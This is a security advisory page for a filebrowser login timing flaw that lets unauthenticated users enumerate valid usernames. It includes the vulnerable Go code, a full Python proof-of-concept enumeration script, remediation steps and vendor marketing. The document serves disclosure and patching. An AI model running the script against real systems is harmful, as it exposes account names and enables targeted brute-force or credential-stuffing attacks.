CVE-2026-23849

CVE-2026-23849 is a medium-severity security vulnerability in github.com/filebrowser/filebrowser (go), affecting versions <= 1.11.0. It is fixed in 2.55.0.

Summary

The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details

The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only).
Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go:

// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
    return nil, os.ErrPermission
}

PoC

The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

import requests
import time
import random
import string
import statistics
import argparse

CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"

def generate_random_user(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def measure_response_time(url, username):
    start = time.perf_counter()
    try:
        requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return 0
    return time.perf_counter() - start

def calibrate(url):
    print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
    times = []
    
    print("    Progress: ", end="", flush=True)
    for _ in range(CALIBRATION_SAMPLES):
        random_user = generate_random_user()
        elapsed = measure_response_time(url, random_user)
        times.append(elapsed)
        print(".", end="", flush=True)
    print(" OK")
    
    mean = statistics.mean(times)
    try:
        stdev = statistics.stdev(times)
    except:
        stdev = 0.0
    
    threshold = mean + (5 * stdev) + 0.005
    
    print(f"    - Mean time (invalid users): {mean:.4f}s")
    print(f"    - Standard deviation: {stdev:.6f}s")
    print(f"    - Threshold set: {threshold:.4f}s")
    
    return threshold

def load_wordlist(wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as f:
            users = [line.strip() for line in f if line.strip()]
        return users
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        exit(1)
    except Exception as e:
        print(f"[!] Error reading wordlist: {e}")
        exit(1)

def timing_attack(url, threshold, users):
    print(f"\n[*] Testing {len(users)} users from wordlist...")
    print("-" * 50)
    print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
    print("-" * 50)
    
    found = []
    
    for user in users:
        elapsed = measure_response_time(url, user)
        
        if elapsed > threshold:
            status = ">> VALID <<"
            found.append(user)
        else:
            status = "invalid"
            
        print(f"{user:<15} | {elapsed:.4f}s | {status}")
        
    return found

def main():
    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
    args = parser.parse_args()
    
    target_url = args.url.rstrip('/') + ENDPOINT
    
    print("=== FILEBROWSER TIMING ATTACK ===\n")
    print(f"[*] Target: {target_url}")
    print(f"[*] Wordlist: {args.wordlist}")
    
    try:
        threshold = calibrate(target_url)
        users = load_wordlist(args.wordlist)
        print(f"\n[*] Loaded {len(users)} users from wordlist")
        print("[*] Starting attack...")
        
        valid_users = timing_attack(target_url, threshold, users)
        
        print("\n" + "="*50)
        print(f"SUMMARY: {len(valid_users)} valid users found")
        if valid_users:
            for u in valid_users:
                print(f"  -> {u}")
        print("="*50)
        
    except KeyboardInterrupt:
        print("\n[!] Attack cancelled")

if __name__ == "__main__":
    main()

For example, in this case, I have guchihacker as the only valid user in the application.

I am going to use the exploit to list valid users.

As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)

CVE-2026-23849 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.55.0); upgrading removes the vulnerable code path.

Affected versions

github.com/filebrowser/filebrowser (<= 1.11.0) github.com/filebrowser/filebrowser/v2 (< 2.55.0)

Security releases

github.com/filebrowser/filebrowser/v2 → 2.55.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/filebrowser/filebrowser/v2 to 2.55.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-23849? CVE-2026-23849 is a medium-severity security vulnerability in github.com/filebrowser/filebrowser (go), affecting versions <= 1.11.0. It is fixed in 2.55.0.
  2. How severe is CVE-2026-23849? CVE-2026-23849 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-23849?
    • github.com/filebrowser/filebrowser (go) (versions <= 1.11.0)
    • github.com/filebrowser/filebrowser/v2 (go) (versions < 2.55.0)
  4. Is there a fix for CVE-2026-23849? Yes. CVE-2026-23849 is fixed in 2.55.0. Upgrade to this version or later.
  5. Is CVE-2026-23849 exploitable, and should I be worried? Whether CVE-2026-23849 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-23849 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-23849? Upgrade github.com/filebrowser/filebrowser/v2 to 2.55.0 or later.

Other vulnerabilities in github.com/filebrowser/filebrowser

CVE-2026-54091CVE-2026-54093CVE-2026-54094CVE-2026-54092CVE-2026-54096

Stop the waste.
Protect your environment with Kodem.